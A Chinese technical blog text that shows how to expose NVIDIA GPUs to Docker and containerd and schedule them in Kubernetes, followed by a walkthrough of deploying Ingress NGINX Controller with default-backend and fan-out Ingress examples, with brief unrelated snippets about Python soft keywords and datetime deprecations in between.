安装 NVIDIA Container Toolkit 之后,再使用下面的命令将 Docker 的运行时配置成 nvidia-container-runtime
:
# nvidia-ctk runtime configure --runtime=docker
INFO[0000] Config file does not exist; using empty config
INFO[0000] Wrote updated config to /etc/docker/daemon.json
INFO[0000] It is recommended that docker daemon be restarted.
这个命令的作用是修改 /etc/docker/daemon.json
配置文件:
# cat /etc/docker/daemon.json
{
"runtimes": {
"nvidia": {
"args": [],
"path": "nvidia-container-runtime"
}
}
}
按照提示,重启 Docker 服务:
# systemctl restart docker
配置完 nvidia-container-runtime
运行时之后,重新执行下面的命令:
# docker run --gpus all --rm centos:latest nvidia-smi
Sat Nov 25 02:31:58 2023
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 470.161.03 Driver Version: 470.161.03 CUDA Version: 11.4 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 NVIDIA A10-2Q On | 00000000:00:07.0 Off | N/A |
| N/A N/A P0 N/A / N/A | 64MiB / 1889MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| No running processes found |
+-----------------------------------------------------------------------------+
此时我换成了一台共享型 GPU 实例,所以显示的是 A10,驱动版本和 CUDA 版本要低一点,命令的输出表明我们在容器中已经可以访问 GPU 资源了。值得注意的是,我们运行的 centos:latest
镜像里本来是没有 nvidia-smi
命令的:
# docker run --rm centos:latest nvidia-smi
exec: "nvidia-smi": executable file not found in $PATH: unknown.
但是加上 --gpus all
参数之后就有这个命令了,真是神奇。
使用 --gpus all
参数可以让容器内访问宿主机上的所有显卡,也可以指定某张卡在容器中使用:
# docker run --gpus 1 --rm centos:latest nvidia-smi
或者这样:
# docker run --gpus 'device=0' --rm centos:latest nvidia-smi
接下来,我们再利用 tensorflow 的镜像来测试下是否可以在程序中使用 GPU 资源:
# docker run --rm -it --gpus all tensorflow/tensorflow:2.6.0-gpu bash
root@bacd1c7c8b6c:/# python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
在使用 tensorflow 镜像时要注意与 CUDA 版本的兼容性,这里 有一份 tensorflow 版本和 CUDA 版本之间的对应关系,如果不兼容,会出现如下的报错:
# docker run --rm -it --gpus all tensorflow/tensorflow:latest-gpu bash
nvidia-container-cli: requirement error: unsatisfied condition: cuda>=12.3, please update your driver to a newer version, or use an earlier cuda container: unknown.
然后使用一段简单的 Python 代码来测试 GPU 功能:
>>> import tensorflow as tf
>>> print(tf.test.gpu_device_name())
如果一切正常,就会打印出 GPU 的设备名称:
/device:GPU:0
上面介绍的 --gpus
参数是在 Docker 19.03 版本之后才引入了,在 Docker 19.03 之前,我们也有几种方式来使用 GPU,第一种也是最原始的方式,通过 --device
参数将显卡设备挂载到容器里:
# docker run --rm -it \
--device /dev/nvidia0:/dev/nvidia0 \
--device /dev/nvidiactl:/dev/nvidiactl \
--device /dev/nvidia-uvm:/dev/nvidia-uvm \
tensorflow/tensorflow:2.6.0-gpu bash
第二种是使用英伟达公司开发的 nvidia-docker 工具,这个工具对 docker 进行了一层封装,使得在容器中也可以访问 GPU 资源,它在使用上和 docker 几乎完全一样:
# nvidia-docker run --rm -it tensorflow/tensorflow:2.6.0-gpu bash
nvidia-docker 有两个版本:nvidia-docker
和 nvidia-docker2
。nvidia-docker 是一个独立的守护进程,它以 Volume Plugin 的形式存在,它与 Docker 生态系统的兼容性较差,比如它和 docker-compose、docker swarm、Kubernetes 都不能很好地一起工作,因此很快被废弃。随后,官方推出了 nvidia-docker2,它不再是 Volume Plugin,而是作为一个 Docker Runtime,实现机制上的差异,带来了巨大改进,从而和 Docker 生态实现了更好的兼容性,使用上也完全兼容 docker 命令,加一个 --runtime=nvidia
参数即可:
# docker run --rm -it --runtime=nvidia tensorflow/tensorflow:2.6.0-gpu bash
然而,随着 Docker 19.03 版本的发布,NVIDIA GPU 作为 Docker Runtime 中的设备得到了官方支持,因此 nvidia-docker2 目前也已经被弃用了。
终于到了这篇博客的主题,接下来我们实践一下如何在 Kubernetes 集群中调度 GPU 资源。和 Docker 一样,新买的服务器上也没有 Kubernetes 环境,我们需要先安装 Kubernetes,可以参考我之前写的 Kubernetes 安装小记 这篇博客。
我们知道,Kubernetes 具有对机器的资源进行分配和使用的能力,比如可以指定容器最多使用多少内存以及使用多少 CPU 计算资源,同样,我们也可以指定容器使用多少 GPU 资源,但在这之前,我们需要先安装 nvidia-container-runtime
运行时,以及 NVIDIA 的设备插件。
nvidia-container-runtime
运行时通过上面的学习,我们通过安装 nvidia-container-runtime
运行时,在 Docker 容器中访问了 GPU 设备,在 Kubernetes 中调度 GPU 资源同样也需要安装这个 nvidia-container-runtime
。如果 Kubernetes 使用的容器运行时是 Docker,直接参考上面的章节进行安装配置即可;但 Kubernetes 从 1.24 版本开始,改用 containerd 作为容器运行时,为了在 containerd 容器中使用 NVIDIA 的 GPU 设备,配置步骤稍微有些区别。
首先我们还是先安装 NVIDIA Container Toolkit,然后通过下面的命令将 nvidia-container-runtime
加入 containerd 的运行时列表中:
# nvidia-ctk runtime configure --runtime=containerd
这个命令实际上是对 containerd 的配置文件 /etc/containerd/config.toml
进行修改,内容如下:
[plugins."io.containerd.grpc.v1.cri".containerd]
default_runtime_name = "runc"
snapshotter = "overlayfs"
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes]
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.nvidia]
runtime_engine = ""
runtime_root = ""
runtime_type = "io.containerd.runc.v2"
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.nvidia.options]
BinaryName = "/usr/bin/nvidia-container-runtime"
SystemdCgroup = true
注意这个命令并不会修改 default_runtime_name
配置,我们需要手动将这个值修改为 nvidia
:
default_runtime_name = "nvidia"
然后重启 containerd 服务:
# systemctl restart containerd
接下来,我们继续安装 NVIDIA 设备插件。设备插件(Device Plugins) 是 Kubernetes 用于管理和调度容器中设备资源的一种插件机制,它可以将物理设备(如 GPU、FPGA 等)暴露给容器,从而提供更高级别的资源管理和调度能力。
通过下面的命令将 NVIDIA 设备插件部署到集群中:
# kubectl create -f https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.14.3/nvidia-device-plugin.yml
daemonset.apps/nvidia-device-plugin-daemonset created
从运行结果可以看出,设备插件本质上是一个 DaemonSet,运行 kubectl get daemonset
命令查看其是否启动成功:
# kubectl get daemonset -n kube-system
NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE SELECTOR AGE
kube-proxy 1 1 1 1 1 kubernetes.io/os=linux 90m
nvidia-device-plugin-daemonset 1 1 1 1 1 <none> 43s
运行 kubectl logs
命令查看其启动日志:
# kubectl logs nvidia-device-plugin-daemonset-s97vk -n kube-system
I1126 04:46:34.020261 1 main.go:154] Starting FS watcher.
I1126 04:46:34.020321 1 main.go:161] Starting OS watcher.
I1126 04:46:34.020578 1 main.go:176] Starting Plugins.
I1126 04:46:34.020591 1 main.go:234] Loading configuration.
I1126 04:46:34.020668 1 main.go:242] Updating config with default resource matching patterns.
I1126 04:46:34.020829 1 main.go:253]
Running with config:
{
"version": "v1",
"flags": {
"migStrategy": "none",
"failOnInitError": false,
"nvidiaDriverRoot": "/",
"gdsEnabled": false,
"mofedEnabled": false,
"plugin": {
"passDeviceSpecs": false,
"deviceListStrategy": [
"envvar"
],
"deviceIDStrategy": "uuid",
"cdiAnnotationPrefix": "cdi.k8s.io/",
"nvidiaCTKPath": "/usr/bin/nvidia-ctk",
"containerDriverRoot": "/driver-root"
}
},
"resources": {
"gpus": [
{
"pattern": "*",
"name": "nvidia.com/gpu"
}
]
},
"sharing": {
"timeSlicing": {}
}
}
I1126 04:46:34.020840 1 main.go:256] Retreiving plugins.
I1126 04:46:34.021064 1 factory.go:107] Detected NVML platform: found NVML library
I1126 04:46:34.021090 1 factory.go:107] Detected non-Tegra platform: /sys/devices/soc0/family file not found
I1126 04:46:34.032304 1 server.go:165] Starting GRPC server for 'nvidia.com/gpu'
I1126 04:46:34.033008 1 server.go:117] Starting to serve 'nvidia.com/gpu' on /var/lib/kubelet/device-plugins/nvidia-gpu.sock
I1126 04:46:34.037402 1 server.go:125] Registered device plugin for 'nvidia.com/gpu' with Kubelet
如果看到日志显示 Registered device plugin for 'nvidia.com/gpu' with Kubelet
,表示 NVIDIA 设备插件已经安装成功了。此时,我们也可以在 kubelet
的设备插件目录下看到 NVIDIA GPU 的 socket 文件:
# ll /var/lib/kubelet/device-plugins/ | grep nvidia-gpu.sock
但是安装也不一定是一帆风顺的,如果看到下面这样的日志:
I1126 04:34:05.352152 1 main.go:256] Retreiving plugins.
W1126 04:34:05.352505 1 factory.go:31] No valid resources detected, creating a null CDI handler
I1126 04:34:05.352539 1 factory.go:107] Detected non-NVML platform: could not load NVML library: libnvidia-ml.so.1: cannot open shared object file: No such file or directory
I1126 04:34:05.352569 1 factory.go:107] Detected non-Tegra platform: /sys/devices/soc0/family file not found
E1126 04:34:05.352573 1 factory.go:115] Incompatible platform detected
E1126 04:34:05.352576 1 factory.go:116] If this is a GPU node, did you configure the NVIDIA Container Toolkit?
E1126 04:34:05.352578 1 factory.go:117] You can check the prerequisites at: https://github.com/NVIDIA/k8s-device-plugin#prerequisites
E1126 04:34:05.352582 1 factory.go:118] You can learn how to set the runtime at: https://github.com/NVIDIA/k8s-device-plugin#quick-start
E1126 04:34:05.352585 1 factory.go:119] If this is not a GPU node, you should set up a toleration or nodeSelector to only deploy this plugin on GPU nodes
I1126 04:34:05.352590 1 main.go:287] No devices found. Waiting indefinitely.
表示没有找到 NVIDIA 设备,请检查显卡驱动是否安装,或者 containerd 的配置是否正确。
接下来,我们创建一个测试文件:
# vi gpu-test.yaml
文件内容如下:
apiVersion: v1
kind: Pod
metadata:
name: gpu-test
spec:
restartPolicy: OnFailure
containers:
- name: gpu-test
image: tensorflow/tensorflow:2.6.0-gpu
command:
- python3
- /app/test.py
volumeMounts:
- name: gpu-test-script
mountPath: /app/
resources:
limits:
nvidia.com/gpu: 1
volumes:
- name: gpu-test-script
configMap:
name: gpu-test-script
---
apiVersion: v1
kind: ConfigMap
metadata:
name: gpu-test-script
data:
test.py: |
import tensorflow as tf
print(tf.test.gpu_device_name())
这里我们仍然使用 tensorflow/tensorflow:2.6.0-gpu
这个镜像来测试 GPU 功能,我们通过 ConfigMap 将一段 Python 测试脚本挂载到容器中并运行,另外通过 resources.limits.nvidia.com/gpu: 1
这样的配置告诉 Kubernetes,容器的运行需要使用一张 GPU 显卡资源,Kubernetes 会自动根据 NVIDIA 设备插件汇报的情况找到符合条件的节点,然后在该节点上启动 Pod,启动 Pod 时,由于 containerd 的默认运行时是 nvidia-container-runtime
,所以会将 NVIDIA GPU 挂载到容器中。
运行 kubectl apply
命令创建 Pod 和 ConfigMap:
# kubectl apply -f gpu-test.yaml
pod/gpu-test created
configmap/gpu-test-script created
运行 kubectl get pods
命令查看 Pod 的运行状态:
# kubectl get pods
NAME READY STATUS RESTARTS AGE
gpu-test 0/1 Pending 0 5s
如果像上面这样一直处理 Pending 状态,可以运行 kubectl describe pod
命令查看 Pod 的详细情况:
# kubectl describe pod gpu-test
Name: gpu-test
Namespace: default
Priority: 0
Service Account: default
...
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Warning FailedScheduling 19s default-scheduler 0/1 nodes are available: 1 Insufficient nvidia.com/gpu. preemption: 0/1 nodes are available: 1 No preemption victims found for incoming pod.
出现上面这样的情况可能有两种原因:
如果一切正常,Pod 的状态应该是 Completed:
# kubectl get pods
NAME READY STATUS RESTARTS AGE
gpu-test 0/1 Completed 0 7s
运行 kubectl logs
命令查看 Pod 日志:
# kubectl logs gpu-test
2023-11-26 05:05:14.779693: I tensorflow/core/platform/cpu_feature_guard.cc:142] This TensorFlow binary is optimized with oneAPI Deep Neural Network Library (oneDNN) to use the following CPU instructions in performance-critical operations: AVX2 AVX512F FMA
To enable them in other operations, rebuild TensorFlow with the appropriate compiler flags.
2023-11-26 05:05:16.508041: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:937] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-11-26 05:05:16.508166: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1510] Created device /device:GPU:0 with 1218 MB memory: -> device: 0, name: NVIDIA A10-2Q, pci bus id: 0000:00:07.0, compute capability: 8.6
/device:GPU:0
可以看到脚本成功打印出了 GPU 的设备名称,说明现在我们已经可以在 Kubernetes 中使用 GPU 资源了。
>>> import keyword
>>> keyword.softkwlist
['_', 'case', 'match', 'type']
datetime.datetime
的 utcnow()
与 utcfromtimestamp()
方法已被标注为“deprecated”,将在未来版本中删除。文章介绍了它们的缺陷,解释了为什么它们会被弃用。替代的方法分别是:datetime.now()
和 datetime.fromtimestamp()
。在 学习 Kubernetes 流量管理之 Service 这篇笔记中我们学习了 Kubernetes 是如何使用 Service 进行流量管理的,我们可以通过 NodePort
和 LoadBalancer
这两种类型的 Service 让应用程序暴露到集群外部,不过这两种方式都有各自的问题:
NodePort
会在所有节点上暴露端口,外部应用需要知道集群内部节点的 IP 才能访问,一旦集群节点发生变化,外部应用也会受影响,可用性无法保证;而且端口的范围是受限的,默认只能使用 30000 到 32767 之间的端口,外部应用使用起来会感觉怪怪的;另外,每个端口只能对应一个 Service,如果 Service 数量过多,暴露的端口也会过多,不仅安全性难以保障,而且管理起来也会很麻烦;LoadBalancer
依赖于外部负载均衡器作为流量的入口,它在云平台中使用非常广泛,一般使用云供应商提供的 LB 服务,它会有一个自己的 IP 地址来转发所有流量,不过要注意的是,你暴露的每个 Service 都对应一个 LB 服务,而每个 LB 都需要独立付费,如果你暴露的 Service 很多,这将是非常昂贵的。为了解决上面的问题,Kubernetes 提出了一种新的 API 对象,叫做 Ingress,它通过定义不同的 HTTP 路由规则,将集群内部的 Service 通过 HTTP 的方式暴露到集群外部:
可以将 Ingress
理解为 Service 的网关,它是所有流量的入口,通过 Ingress
我们就能以一个集群外部可访问的 URL 来访问集群内部的 Service,不仅如此,它还具有如下特性:
这一节将继续延用之前的 kubernetes-bootcamp
示例,通过 Ingress
将应用程序暴露到集群外部访问。
Ingress
本身其实并不具备集群内外通信的能力,它只是一系列的路由转发规则而已,要让这些路由规则生效,必须先部署 Ingress Controller
才行。
由 Kubernetes 支持和维护的 Ingress Controller
有三个:
除此之外,这里 还列出了很多由第三方社区维护的其他 Ingress Controller
可供选择。
下面我们就以 Ingress NGINX Controller 为例,学习如何部署 Ingress Controller。
目前有两个基于 Nginx 实现的 Ingress Controller 比较有名,一个是由 Kubernetes 官方维护的 kubernetes/ingress-nginx,被称为 Ingress NGINX Controller,另一个是由 Nginx 官方维护的 nginxinc/kubernetes-ingress,被称为 NGINX Ingress Controller,两者在技术实现和功能特性上有很多区别,大家在使用时要特别留意。
根据 Ingress NGINX Controller 官方的部署文档,我们大致有两种方式来部署它,第一种是通过 Helm 部署:
# helm upgrade --install ingress-nginx ingress-nginx \
--repo https://kubernetes.github.io/ingress-nginx \
--namespace ingress-nginx --create-namespace
第二种是通过 kubectl apply
部署,我比较喜欢这种方式,可以从 YAML 中看到整个部署的细节:
# kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.2/deploy/static/provider/cloud/deploy.yaml
namespace/ingress-nginx created
serviceaccount/ingress-nginx created
serviceaccount/ingress-nginx-admission created
role.rbac.authorization.k8s.io/ingress-nginx created
role.rbac.authorization.k8s.io/ingress-nginx-admission created
clusterrole.rbac.authorization.k8s.io/ingress-nginx created
clusterrole.rbac.authorization.k8s.io/ingress-nginx-admission created
rolebinding.rbac.authorization.k8s.io/ingress-nginx created
rolebinding.rbac.authorization.k8s.io/ingress-nginx-admission created
clusterrolebinding.rbac.authorization.k8s.io/ingress-nginx created
clusterrolebinding.rbac.authorization.k8s.io/ingress-nginx-admission created
configmap/ingress-nginx-controller created
service/ingress-nginx-controller created
service/ingress-nginx-controller-admission created
deployment.apps/ingress-nginx-controller created
job.batch/ingress-nginx-admission-create created
job.batch/ingress-nginx-admission-patch created
ingressclass.networking.k8s.io/nginx created
validatingwebhookconfiguration.admissionregistration.k8s.io/ingress-nginx-admission created
从上面的输出可以看到,Ingress NGINX Controller 首先创建一个名为 ingress-nginx
的命名空间,然后在这个命名空间下创建了一堆相关的资源,包括 ServiceAccount、Role、ConfigMap、Deployment、Service、Job 等等,这中间,最重要的是 deployment.apps/ingress-nginx-controller
和 service/ingress-nginx-controller
这两项;其实,Ingress Controller 本质上就是一个 Deployment 加上一个 Service,这个 Deployment 通过监听 Ingress 对象的变动来更新路由规则,而用户访问集群的入口仍然是通过 Service 实现的,所以想让用户通过 Ingress 来访问集群,还是得靠 Service 的两种外部通信方式:NodePort
和 LoadBalancer
。
查看上面这个 YAML,可以发现它使用的就是 LoadBalancer
类型的 Service,一般适用于云环境,如果你没有云环境,官方也提供了几种在物理机环境部署的方式:
其中最简单的方式是使用 NodePort
类型的 Service,直接使用下面这个 YAML 部署即可:
# kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.2/deploy/static/provider/baremetal/deploy.yaml
部署完成后,通过下面的命令检查 Ingress NGINX Controller 是否运行成功:
# kubectl get deployment -n ingress-nginx
NAME READY UP-TO-DATE AVAILABLE AGE
ingress-nginx-controller 1/1 1 1 29h
通过下面的命令确定 Ingress NGINX Controller 的 NodePort 是多少:
# kubectl get svc -n ingress-nginx
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
ingress-nginx-controller NodePort 10.96.0.183 <none> 80:26360/TCP,443:23476/TCP 29h
ingress-nginx-controller-admission ClusterIP 10.96.1.25 <none> 443/TCP 29h
此时,我们就可以通过 NodePort 来访问集群了,只不过因为我们还没有配置任何路由,所以访问会报 404 Not Found
:
# curl http://172.31.164.40:26360
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
注意这里实际上暴露了两个 NodePort,一个是 HTTP 端口,另一个是 HTTPS 端口,这个 HTTPS 端口我们也可以访问(-k
表示忽略证书校验):
# curl -k https://172.31.164.40:23476
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
接下来,我们创建一个简单的路由规则来验证 Ingress
是否有效:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-ingress
spec:
ingressClassName: nginx
rules:
- http:
paths:
- path: /hello
pathType: Prefix
backend:
service:
name: myapp
port:
number: 38080
这个路由规则很容易理解,就是将 /hello
路径映射到后端名为 myapp
的 Service 的 38080 端口。在使用 Ingress 时要注意你的 Kubernetes 版本,不同的 Kubernetes 版本中 Ingress 的 apiVersion
字段略有不同:
Kubernetes 版本 | Ingress 的 apiVersion |
---|---|
v1.5 - v1.17 | extensions/v1beta1 |
v1.8 - v1.18 | networking.k8s.io/v1beta1 |
v1.19+ | networking.k8s.io/v1 |
另一点值得注意的是 ingressClassName: nginx
这个配置,细心的同学可能已经发现,在上面部署 Ingress NGINX Controller 的时候,默认还创建了一个 IngressClass
资源:
apiVersion: networking.k8s.io/v1
kind: IngressClass
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.8.2
name: nginx
spec:
controller: k8s.io/ingress-nginx
我们可以将 IngressClass
理解成面向对象中的类这个概念,而 Ingress
则是类的具体示例。在 Ingress NGINX Controller 的启动参数里,我们能看到 --ingress-class=nginx
这样的参数:
apiVersion: apps/v1
kind: Deployment
metadata:
name: ingress-nginx-controller
namespace: ingress-nginx
spec:
minReadySeconds: 0
revisionHistoryLimit: 10
template:
spec:
containers:
- args:
- /nginx-ingress-controller
- --election-id=ingress-nginx-leader
- --controller-class=k8s.io/ingress-nginx
- --ingress-class=nginx
表示它会监听名为 nginx
的 IngressClass
,一个集群中可能会部署多个 Ingress Controller,这样就会有多个 IngressClass
,所以上面创建 Ingress
时指定 ingressClassName: nginx
表示将这个路由规则应用到刚部署的 Ingress NGINX Controller。
通过 curl 验证 Ingress
是否生效:
# curl http://172.31.164.40:26360/hello
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-9xm5j | v=1
可以看出,虽然 myapp
这个 Service 类型为 ClusterIP
,但是通过 Ingress 我们也可以从集群外部对其进行访问了。
我们可以给某个 IngressClass
加上 ingressclass.kubernetes.io/is-default-class
注解,并将值设置为字符串 "true"
,表示这是集群中默认的 IngressClass
:
apiVersion: networking.k8s.io/v1
kind: IngressClass
metadata:
annotations:
ingressclass.kubernetes.io/is-default-class: "true"
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.8.2
name: nginx
spec:
controller: k8s.io/ingress-nginx
当集群中存在默认的 IngressClass
时,创建 Ingress
时就可以不用指定 ingressClassName
参数了:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-ingress
spec:
rules:
- http:
paths:
- path: /hello
pathType: Prefix
backend:
service:
name: myapp
port:
number: 38080
注意,一个集群中最多只应该存在一个默认的 IngressClass
,如果有多个 IngressClass
被设置成默认,那么创建 Ingress
时还是得指定 ingressClassName
参数。
为了更进一步地了解 Ingress Controller 的工作原理,我们不妨进入 ingress-nginx-controller
容器内部:
# kubectl exec -it ingress-nginx-controller-6c68b88b5d-wdk96 -n ingress-nginx -- bash
在这里我们可以看到 nginx.conf
这个熟悉的身影:
ingress-nginx-controller-6c68b88b5d-wdk96:/etc/nginx$ ls
fastcgi.conf geoip mime.types nginx.conf owasp-modsecurity-crs uwsgi_params
fastcgi.conf.default koi-utf mime.types.default nginx.conf.default scgi_params uwsgi_params.default
fastcgi_params koi-win modsecurity opentelemetry.toml scgi_params.default win-utf
fastcgi_params.default lua modules opentracing.json template
这个文件和普通的 Nginx 配置文件并无二致,查看文件内容可以发现,上面所配置的 Ingress 规则其实都被转换成了 Nginx 规则,此外,我们还发现,Ingress NGINX Controller 是基于 Nginx + Lua 实现的:
ingress-nginx-controller-6c68b88b5d-wdk96:/etc/nginx$ cat nginx.conf
## start server _
server {
server_name _ ;
listen 80 default_server reuseport backlog=511 ;
listen [::]:80 default_server reuseport backlog=511 ;
listen 443 default_server reuseport backlog=511 ssl http2 ;
listen [::]:443 default_server reuseport backlog=511 ssl http2 ;
location /hello/ {
set $namespace "default";
set $ingress_name "my-ingress";
set $service_name "myapp";
set $service_port "38080";
set $location_path "/hello";
set $global_rate_limit_exceeding n;
rewrite_by_lua_block {
lua_ingress.rewrite({
force_ssl_redirect = false,
ssl_redirect = true,
force_no_ssl_redirect = false,
preserve_trailing_slash = false,
use_port_in_redirects = false,
global_throttle = { namespace = "", limit = 0, window_size = 0, key = { }, ignored_cidrs = { } },
})
balancer.rewrite()
plugins.run()
}
header_filter_by_lua_block {
lua_ingress.header()
plugins.run()
}
body_filter_by_lua_block {
plugins.run()
}
set $proxy_upstream_name "default-myapp-38080";
proxy_pass http://upstream_balancer;
}
}
## end server _
其中 upstream_balancer
的定义如下:
upstream upstream_balancer {
### Attention!!!
#
# We no longer create "upstream" section for every backend.
# Backends are handled dynamically using Lua. If you would like to debug
# and see what backends ingress-nginx has in its memory you can
# install our kubectl plugin https://kubernetes.github.io/ingress-nginx/kubectl-plugin.
# Once you have the plugin you can use "kubectl ingress-nginx backends" command to
# inspect current backends.
#
###
server 0.0.0.1; # placeholder
balancer_by_lua_block {
balancer.balance()
}
keepalive 320;
keepalive_time 1h;
keepalive_timeout 60s;
keepalive_requests 10000;
}
通过这里的注释我们了解到,Ingress NGINX Controller 转发的后端地址是动态的,由 Lua 脚本实现,如果想看具体的后端地址,可以安装 ingress-nginx 插件,安装 ingress-nginx
插件最简单的方式是使用 krew 来安装,所以我们先安装 krew
,首先下载并解压 krew 的最新版本:
# curl -LO https://github.com/kubernetes-sigs/krew/releases/download/v0.4.4/krew-linux_amd64.tar.gz
# tar zxvf krew-linux_amd64.tar.gz
然后运行下面的命令进行安装:
# ./krew-linux_amd64 install krew
Adding "default" plugin index from https://github.com/kubernetes-sigs/krew-index.git.
Updated the local copy of plugin index.
Installing plugin: krew
Installed plugin: krew
\
| Use this plugin:
| kubectl krew
| Documentation:
| https://krew.sigs.k8s.io/
| Caveats:
| \
| | krew is now installed! To start using kubectl plugins, you need to add
| | krew's installation directory to your PATH:
| |
| | * macOS/Linux:
| | - Add the following to your ~/.bashrc or ~/.zshrc:
| | export PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH"
| | - Restart your shell.
| |
| | * Windows: Add %USERPROFILE%\.krew\bin to your PATH environment variable
| |
| | To list krew commands and to get help, run:
| | $ kubectl krew
| | For a full list of available plugins, run:
| | $ kubectl krew search
| |
| | You can find documentation at
| | https://krew.sigs.k8s.io/docs/user-guide/quickstart/.
| /
/
根据提示,将 export PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH"
添加到 ~/.bashrc
文件中,然后重新打开 Shell,这样 krew 就安装完成了。接下来,使用 kubectl krew install
命令安装 ingress-nginx
插件:
# kubectl krew install ingress-nginx
Updated the local copy of plugin index.
Installing plugin: ingress-nginx
Installed plugin: ingress-nginx
\
| Use this plugin:
| kubectl ingress-nginx
| Documentation:
| https://kubernetes.github.io/ingress-nginx/kubectl-plugin/
/
插件安装之后,使用 kubectl ingress-nginx backends
命令查看 Ingress NGINX Controller 的后端地址信息:
# kubectl ingress-nginx backends -n ingress-nginx
[
{
"name": "default-myapp-38080",
"service": {
"metadata": {
"creationTimestamp": null
},
"spec": {
"ports": [
{
"name": "http",
"protocol": "TCP",
"port": 38080,
"targetPort": "myapp-port"
}
],
"selector": {
"app": "myapp"
},
"clusterIP": "10.96.3.215",
"clusterIPs": [
"10.96.3.215"
],
"type": "ClusterIP",
"sessionAffinity": "None",
"ipFamilies": [
"IPv4"
],
"ipFamilyPolicy": "SingleStack",
"internalTrafficPolicy": "Cluster"
},
"status": {
"loadBalancer": {}
}
},
"port": 38080,
"sslPassthrough": false,
"endpoints": [
{
"address": "100.84.80.88",
"port": "8080"
},
{
"address": "100.121.213.72",
"port": "8080"
},
{
"address": "100.121.213.109",
"port": "8080"
}
],
"sessionAffinityConfig": {
"name": "",
"mode": "",
"cookieSessionAffinity": {
"name": ""
}
},
"upstreamHashByConfig": {
"upstream-hash-by-subset-size": 3
},
"noServer": false,
"trafficShapingPolicy": {
"weight": 0,
"weightTotal": 0,
"header": "",
"headerValue": "",
"headerPattern": "",
"cookie": ""
}
},
{
"name": "upstream-default-backend",
"port": 0,
"sslPassthrough": false,
"endpoints": [
{
"address": "127.0.0.1",
"port": "8181"
}
],
"sessionAffinityConfig": {
"name": "",
"mode": "",
"cookieSessionAffinity": {
"name": ""
}
},
"upstreamHashByConfig": {},
"noServer": false,
"trafficShapingPolicy": {
"weight": 0,
"weightTotal": 0,
"header": "",
"headerValue": "",
"headerPattern": "",
"cookie": ""
}
}
]
根据 Ingress 的使用场景可以将其分成几个不同的类型:
这是最简单的 Ingress 类型,当你只有一个后端 Service 时可以使用它,它不用配置任何路由规则,直接配置一个 defaultBackend
指定后端 Service 即可:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-default-backend
spec:
defaultBackend:
service:
name: myapp
port:
number: 38080
使用 kubectl describe ingress
查看该 Ingress 详情:
# kubectl describe ingress ingress-default-backend
Name: ingress-default-backend
Labels: <none>
Namespace: default
Address: 172.31.164.67
Ingress Class: nginx
Default backend: myapp:38080 (100.121.213.109:8080,100.121.213.72:8080,100.84.80.88:8080)
Rules:
Host Path Backends
---- ---- --------
* * myapp:38080 (100.121.213.109:8080,100.121.213.72:8080,100.84.80.88:8080)
Annotations: <none>
Events: <none>
可以看到,无论什么 Host,无论什么 Path,全部路由到 myapp:38080
这个后端服务。
这种 Ingress 和直接使用 NodePort
或 LoadBalancer
类型的 Service 没有区别,不过 defaultBackend
不只是单独使用,也可以和 rules
结合使用,表示兜底路由,当所有的路由规则都不匹配时请求该后端。
这是最常见的一种 Ingress,通过不同的路由规则映射到后端不同的 Service 端口,这种 Ingress 又被称为 Fan Out Ingress,形如其名,它的结构像下面这样成扇形散开:
下面是多服务 Ingress 的一个示例:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-simple-fanout
annotations:
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: /$2
spec:
rules:
- http:
paths:
- path: /test(/|$)(.*)
pathType: ImplementationSpecific
backend:
service:
name: myapp
port:
number: 38080
- path: /test2(/|$)(.*)
pathType: ImplementationSpecific
backend:
service:
name: hello-actuator
port:
number: 8080
使用 kubectl describe ingress
可以查看该 Ingress 的详情:
# kubectl describe ingress ingress-simple-fanout
Name: ingress-simple-fanout
Labels: <none>
Namespace: default
Address:
Ingress Class: nginx
Default backend: <default>
Rules:
Host Path Backends
---- ---- --------
*
/test(/|$)(.*) myapp:38080 (100.121.213.109:8080,100.121.213.72:8080,100.84.80.88:8080)
/test2(/|$)(.*) hello-actuator:8080 (100.121.213.108:8080,100.84.80.87:8080)
Annotations: nginx.ingress.kubernetes.io/rewrite-target: /$2
nginx.ingress.kubernetes.io/use-regex: true
Events: <none>
